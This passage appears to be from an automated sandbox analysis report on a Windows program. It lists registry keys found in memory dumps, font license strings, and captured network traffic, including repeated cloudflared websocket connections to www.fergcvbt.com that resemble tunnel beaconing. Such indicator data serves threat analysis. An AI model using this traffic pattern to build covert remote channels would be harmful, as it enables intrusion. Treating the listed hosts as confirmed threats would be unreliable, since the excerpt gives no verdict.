\"@Software\Microsoft\Windows\CurrentVersion\explorer\Shell Folders" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp "Software\#progname#" in Source: 00000000-00002804.00000002.110470.05110000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00002804.00000003.112165.02FB0000.00000004.mdmp "STRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002804.00000003.112165.02FB0000.00000004.mdmp "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp "Software\Embarcadero\Locales" in Source: 00000000-00006424.00000001.112162.00091000.00000020.mdmp "Software\CodeGear\Locales" in Source: 00000000-00006424.00000001.112162.00091000.00000020.mdmp "Software\Borland\Locales" in Source: 00000000-00006424.00000001.112162.00091000.00000020.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00006424.00000001.112162.00091000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006424.00000001.112162.00091000.00000020.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00006908.00000000.106801.00861000.00000020.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00006908.00000000.106801.00861000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006908.00000000.106801.00861000.00000020.mdmp "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007176.00000000.107280.04D40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007176.00000000.107280.04D40000.00000004.mdmp "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007176.00000000.107280.04D40000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007176.00000000.107280.04D40000.00000004.mdmp "Software\Embarcadero\Locales" in Source: 00000000-00007176.00000001.109201.00F01000.00000020.mdmp "Software\CodeGear\Locales" in Source: 00000000-00007176.00000001.109201.00F01000.00000020.mdmp "Software\Borland\Locales" in Source: 00000000-00007176.00000001.109201.00F01000.00000020.mdmp "Software\Borland\Delphi\Locales" in Source: 00000000-00007176.00000001.109201.00F01000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007176.00000001.109201.00F01000.00000020.mdmp "e\Software\C" in Source: 00000000-00007280.00000000.111210.2F678000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00007736.00000000.107379.00720000.00000004.mdmp "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000000.107379.04B00000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000000.107379.04B00000.00000004.mdmp "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000000.107379.04B00000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000000.107379.04B00000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wx" in Source: 00000000-00007736.00000001.109300.001CA000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00007736.00000001.109300.001CA000.00000004.mdmp "RY\MACHINE\SOFTWARE\Cla" in Source: 00000000-00007736.00000001.109300.001CA000.00000004.mdmp "Software\Microsoft\RestartManager\Session0000" in Source: 00000000-00007736.00000001.109300.00720000.00000004.mdmp "xistry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00007736.00000001.109300.00720000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001\fdeploy" in Source: 00000000-00007736.00000001.109300.00720000.00000004.mdmp "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.04B00000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.04B00000.00000004.mdmp "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.04B00000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.04B00000.00000004.mdmp "istry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00007736.00000001.109300.05630000.00000004.mdmp "Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.05730000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.05730000.00000004.mdmp "SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.05730000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" in Source: 00000000-00007736.00000001.109300.05730000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking" in Source: 00000000-00007736.00000001.109300.73171000.00000020.mdmp "Software\Microsoft\Input" in Source: 00000000-00007736.00000001.109300.73171000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE" in Source: 00000000-00007736.00000001.109300.73171000.00000020.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\CFL\ExperienceManagerData" in Source: 00000000-00007736.00000001.109300.73171000.00000020.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\Wx" in Source: 00000000-00007736.00000002.110904.001CA000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-735145574-3570218355-1207367261-1001" in Source: 00000000-00007736.00000002.110904.001CA000.00000004.mdmp "xistry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00007736.00000002.110904.00751000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007736.00000002.110904.00751000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007736.00000002.110904.00751000.00000004.mdmp43:T611,"Copyright 2015 The Vazirmatn Project Authors (https://github.com/rastikerdar/vazirmatn)Vazirmatn UI NLRegularVazirmatn UI NL-RegularVazirmatn UI NL RegularVersion 33.003Vazirmatn-UI-NL-RegularSaber RastikerdarThe first version of Vazirmatn (formerly named Vazir) was based on DejaVu 2.35 (was committed to the public domain) to begin designing and developing this new typeface. Non-Arabic (Latin) glyphs and data in the full version are imported from Roboto Variable font (version v3.004) under the Apache License, Version 2.0. https://github.com/davelab6/Roboto-ClassicThis Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at: https://scripts.sil.org/OFLhttps://scripts.sil.org/OFL" (Indicator: "github.com") "Copyright 2015 The Vazirmatn Project Authors (https://github.com/rastikerdar/vazirmatn)Vazirmatn UI NL SemiBoldRegularVazirmatn UI NL-SemiBoldVersion 33.003Vazirmatn-UI-NL-SemiBoldSaber RastikerdarThe first version of Vazirmatn (formerly named Vazir) was based on DejaVu 2.35 (was committed to the public domain) to begin designing and developing this new typeface. Non-Arabic (Latin) glyphs and data in the full version are imported from Roboto Variable font (version v3.004) under the Apache License, Version 2.0. https://github.com/davelab6/Roboto-ClassicThis Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at: https://scripts.sil.org/OFLhttps://scripts.sil.org/OFLVazirmatn UI NLSemiBold" (Indicator: "github.com")44:T4e85,"GET /dns-query?name=apv3.stel.com&type=16&random_padding=gx6xqHCu3WOvfJZAERxg8CNJiZrJ5z1mqcMBb2ll0bb4hU8bmpWd0Sflt9IbNN2IhgL0jMSgKN11XriJlqUPBsg38jX54gTDkOwIh5hsCdc2KiXJrvfTyv6F0f HTTP/1.1 Host: mozilla.cloudflare-dns.com accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,*" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Tue 29 Sep 2026 15:08:39 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 584 CF-RAY: a42be7885894787f-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365....... "GET /dns-query?name=apv3.stel.com&type=16&random_padding=SrQLtczNtgax2mp1TUyCX1tU3aTRIc85wa7F0zrrMt7kcXKvYDYcDfa7xYz27pz4Pobcvbl01qBaypdyVe7MbaG5WEcOx9Sg5Dg6rstVKlTVRzP0 HTTP/1.1 Host: mozilla.cloudflare-dns.com accept: application/dns-json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,*" Response ==> HTTP/1.1 200 OK Server: cloudflare Date: Tue 29 Sep 2026 15:08:41 GMT Content-Type: application/dns-json Connection: keep-alive Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Length: 584 CF-RAY: a42be795da2f5b6a-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22537461747573223A302C225443223A66616C73652C225244223A747275652C225241223A747275652C224144223A66616C73652C224344223A66616C7365....... "GET /current4 HTTP/1.1 Host: td.telegram.org Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en-US,* User-Agent: Mozilla/5.0" Response ==> HTTP/1.1 200 OK Server: nginx/1.30.1 Date: Tue 29 Sep 2026 15:08:43 GMT Content-Type: application/octet-stream Content-Length: 2449 Connection: keep-alive Last-Modified: Sun 27 Sep 2026 19:29:41 GMT ETag: "6ab96ea5-991" Strict-Transport-Security: max-age=35768000 Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload with response body ==>7B226F7378223A207B22616C706861223A207B2272656C6561736564223A202231303037303135303033222C202274657374696E67223A202231303037303135....... "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: xijjbMNuZKcjIEfKaBdvMg== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:09:04 GMT Connection: upgrade Sec-Websocket-Accept: MFIqP3Sb5g5C5Ti8wj2iw4mR4z0= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=lkBBp%2FwxKsJtCV7Pw5LJBWWQTOzFjnlLXOgBBDoTMPd8%2B61xWm1CCLFRgpJK791XBHDWiDW99AI3LVREcQtmpgId5L88OP%2B3gOVPTz4RhfcUdvMufq2z5pZhcty3KcRFREvr"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be825ae7a5e16-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: xEEVXz1Dv+hfNs0qNaa0zQ== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:09:13 GMT Connection: upgrade Sec-Websocket-Accept: k8ELnBXyqN6Ebrfq5o5KruQV5xU= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=q0bTgxT%2BnuZui%2FAwfXkliSgGMV%2BBk5LLn1KhNN807QOsiTyPnf4gGdjUTmq0EDf0OebehxhMq3QGvlklvWpvhEZ5t%2B%2BLtmUy3M%2FI%2FI918JYDtdtGeOhE%2FdyMRGqh86j%2FdrGq"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be8595929354e-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: YBm/a0Kef9S1LLsCTrSV0Q== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:09:21 GMT Connection: upgrade Sec-Websocket-Accept: 0ROptJhm23H+rQMbg1Bos5k0WQE= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=zpMMgUHFbOjmNSjusvrg8hgce%2Fy3jD3TDVAmRAxvXoqH4s6gEWbPdzJSgY6cmYGSOP5IRcBUJ0%2FFiDx3NXJEa2zSaMmDd4YB7%2Fd9bGxH3MOyGDjRzd4FA%2F8jm1CP9p2UHLB1"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be88b5c8a9e53-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: e9y+HtBbs9V8q6X3S3Txcg== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:09:29 GMT Connection: upgrade Sec-Websocket-Accept: 2wNjlI8w9/a55h4Mm8XFtsFEodk= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=UCpG5PyUlbEUrNdY7tLa%2FC4MlPiicqtqGtRA91%2BIGEQSw%2BX14lK7K8ePZyZGQzYx%2BAyuo7mbnRbzLGUPxmluAq%2Bhizxi9W%2FZwUkUg9e72NJFGNeiEyakbAqKfO4cIDtyvuvO"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be8c0e9189657-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: BQ27cqQYHImpo+96yeSLMQ== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:09:40 GMT Connection: upgrade Sec-Websocket-Accept: uP0bJxcWATK2c78KFVzsR0t+fsE= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sObXydFfGo%2BYY2OAIf4pn3hpkiBne8sc1SUCZ9zE%2F35hY9BRszCZDktQJLhNpyBR%2BiYn3ZoJxiwqHzGH1%2FP2o2BZHAoNhECkXiOizVPvuh1hB6qRCiPhd4SzKIZM3O76MrNJ"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be9073e61e8d9-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: HG/hWhuP7zmGr/mh5jeF3w== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:09:50 GMT Connection: upgrade Sec-Websocket-Accept: Gof9TEFCZvuPrXdnxhnadUm2qpc= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Lw2Sr4MNzeP7ngolZ7aEWSxXgGZ5OhZlesoy04ej1xCxiPCs5vcHY%2FVXfGPdnCIr4zAjy2fA7iLMuQcJgWcj3LPr267FsmnwwLRpARHiCnBD%2BtFFBlvaSxqdtfFOtT7TO57C"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be944ea30ebe5-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: uM/KFp81MvuyNGC4E0LV1g== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:10:00 GMT Connection: upgrade Sec-Websocket-Accept: k0Rx49GlD/13GOb5QSJ7ATsbn/c= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=y4oJMvlNq9nYmXhareunv4NTP1iq2P0OFW02MWttIaJGuVq5yi7ICHNvUYm91FMahP4qdV3DYroATZc7SITYQ8dOWVggf3crc1%2BLPfOEZHPJZma%2Bk2fKALZSfSJ7l3ssyfJy"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be9825fec8b3c-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: t4rIMf9ly8l42FwRoLIL0Q== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:10:11 GMT Connection: upgrade Sec-Websocket-Accept: vI907XxMlYAMRaBJvEU3ZoDLUR8= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=GSItN5M3WLxuV7ercyE%2BPSaX12TgVlqo8Jtqomx%2F21fonlHac9rE%2FA98kb2PAD5OyA%2FuutVggAA%2FmN9cFLVNGWHuM7gf29fEVajSkat21m0uWB0lOWFo%2F9db4F6pSV0ow3%2FO"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42be9c47c722a0c-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: KHhGHmTE5kT1Jt9gOMNT9g== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:10:21 GMT Connection: upgrade Sec-Websocket-Accept: oX+5yTwJ8R+EYzFkPicWDxGwNDc= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=sZMtMOSlPQsprqRPm0%2FSZmvgoRdZ528OZhrk2PrtwgoSRta3Z44X3hUXefQ1Nn7IpgEPCLTTcfHmx78a3I190TA%2Fu2vo%2BIGQHe8h%2B6aehocVac2LjzZd1JO4ls38gViGgzQg"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bea069990e19d-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: AU+meRZu6vVctPIChiAGaw== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:10:32 GMT Connection: upgrade Sec-Websocket-Accept: 988Fh8dQSNlD3ZcT9M3aqVlXpHw= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=7oOGSqNdUN%2FR7ziYE1ievPJY6azAmKKu1MAuESfXqDOzXk2L9Mezv%2Bqqm2DizkMjrv1ZirzLu1SH%2BvPvQ9kS8e%2BNbDNZtFEucwknkQUCFzv2e5V59rS9Dlu5AqHK2OaYuMGM"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bea482f45eb30-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: +jaW8zqGaM7Z0lJFKY+j3g== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:10:42 GMT Connection: upgrade Sec-Websocket-Accept: KE+MFZiOSrAznNFyY8XbCSIaKEY= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uzdGvsPPhhvD1zL%2FcCwVJ3wrABl3VLIaWWJT3u37lEfciGNFxlnzG7wtQeP4IMqfpl%2B%2Bhr0R9UcoRAG7so7mwwUJnwHk4I3yVoUVoVBa9c4nSAGpd5EUGFjuK5JHKbJUZHne"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bea8a29e6fa62-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: 2B528RGh63pDC7Xn/m2CZw== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:10:53 GMT Connection: upgrade Sec-Websocket-Accept: bK3sMU6gC5m65Gw1UOJMixRaIIk= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ic3ftiD%2BqvcwanXwRS4jUUdhXihUemgPBeIQtSB3UpoIT2%2BOdmI9JwZnbLaJQvV8eh6t%2B9ZlhI2QzXDUbIqGxT1wvKjKSwD3jNSZN04SDcoL6EGAntTXoBsZwhIco6CYHLtu"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42beacbfa79cf0a-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: LkyMlDEJvgGIrQ7NSLTgIA== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:11:03 GMT Connection: upgrade Sec-Websocket-Accept: hfoKodedCRefS5udj5f6KXYY5w8= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Aw8ja2Lwr%2BGVtavfIZwSXGGFLFzaHexGMjVI%2BKWCPEC3QgAI6GumMTzeD56gwcY8CiRwiE4zMyS8FKkh%2BYDQLDtI9wsgWVleEeZtyCJ2aTEWS0mnOHRU1XS0p7OhuxHp9yc4"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42beb0d8fe115b2-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: mG+sdR5lE/wFspACzFimMQ== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:11:14 GMT Connection: upgrade Sec-Websocket-Accept: oeUxAAsUn5peky3c25KxluUV4WI= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=o266rlmkTE2hesqWsoZD2GTbBUjSvDX7JWE0r8ow8JZD7GWFBD4LqUnvtbGvjHh1a3ry5xoX%2BZyQXKFF7FOinajovDYoWOf0jwTdLgkpXNykUIl5HiuinMI8w72VlQPJozSQ"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42beb4f6f831fdb-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: r49PFyqupQ72ecdkXgAPDw== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:11:24 GMT Connection: upgrade Sec-Websocket-Accept: YEuAp18xB4rMbYVbmJbM3Vl7+hk= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=%2B6GCF05EPxlv%2F5r36Q0ZXXzRTXF1GXDedSlpVSW%2B59KN%2F5N7ZXz4KDx8Q%2BaGFzxpnDFx%2BqOta9GCqzdfRH03LuTAjQ7lmbmtYOeYle%2BJBb5LUVwikXgaz4hyxmVMeysGr2G5"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42beb918c147ae8-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: U4+pE6w188E52iIlgOtVGw== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:11:35 GMT Connection: upgrade Sec-Websocket-Accept: Mu1mL3ri9XNRNzGRhwLIG6U8G1Q= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=41cIdFQsFYV8ziFeHkZXCXWS48CJY9ZfeCSrcsEM6ud4gyIVt9RHqm12Fj0Q4FHrx0tq42x%2F8Un8nk27I12ZiXG0%2FptRmkkQzVQbBq1nuS6r%2B1M3QeT%2BZjWVAYhM0zzvT%2FPJ"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bebd33821ccf8-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade Sec-WebSocket-Key: qiP2x1jwwDQDDuYqYAbVOA== Sec-WebSocket-Version: 13 Upgrade: websocket" Response ==> HTTP/1.1 101 Switching Protocols Date: Tue 29 Sep 2026 15:11:45 GMT Connection: upgrade Sec-Websocket-Accept: Dvr00vGqdewzDDDpi+fUtuUEC+c= Upgrade: websocket cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xmDb9n1Y%2FVOX0rst31iNW0LiUy%2BF%2BFCNaezYey0WPcJpTjHmRTXIIl2JmCg38L5V%2Fe10ciCzpP1f99p9KaGVX48rD3skZyGrmJz0i6IEBgL3cdLfHSeUNdRm%2F5vLfz5GAPSb"}]} Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare CF-RAY: a42bec117cdddf82-SJC alt-svc: h3=":443"; ma=86400 with no response body "GET / HTTP/1.1 Host: www.fergcvbt.com User-Agent: cloudflared/2025.11.1 Connection: Upgrade 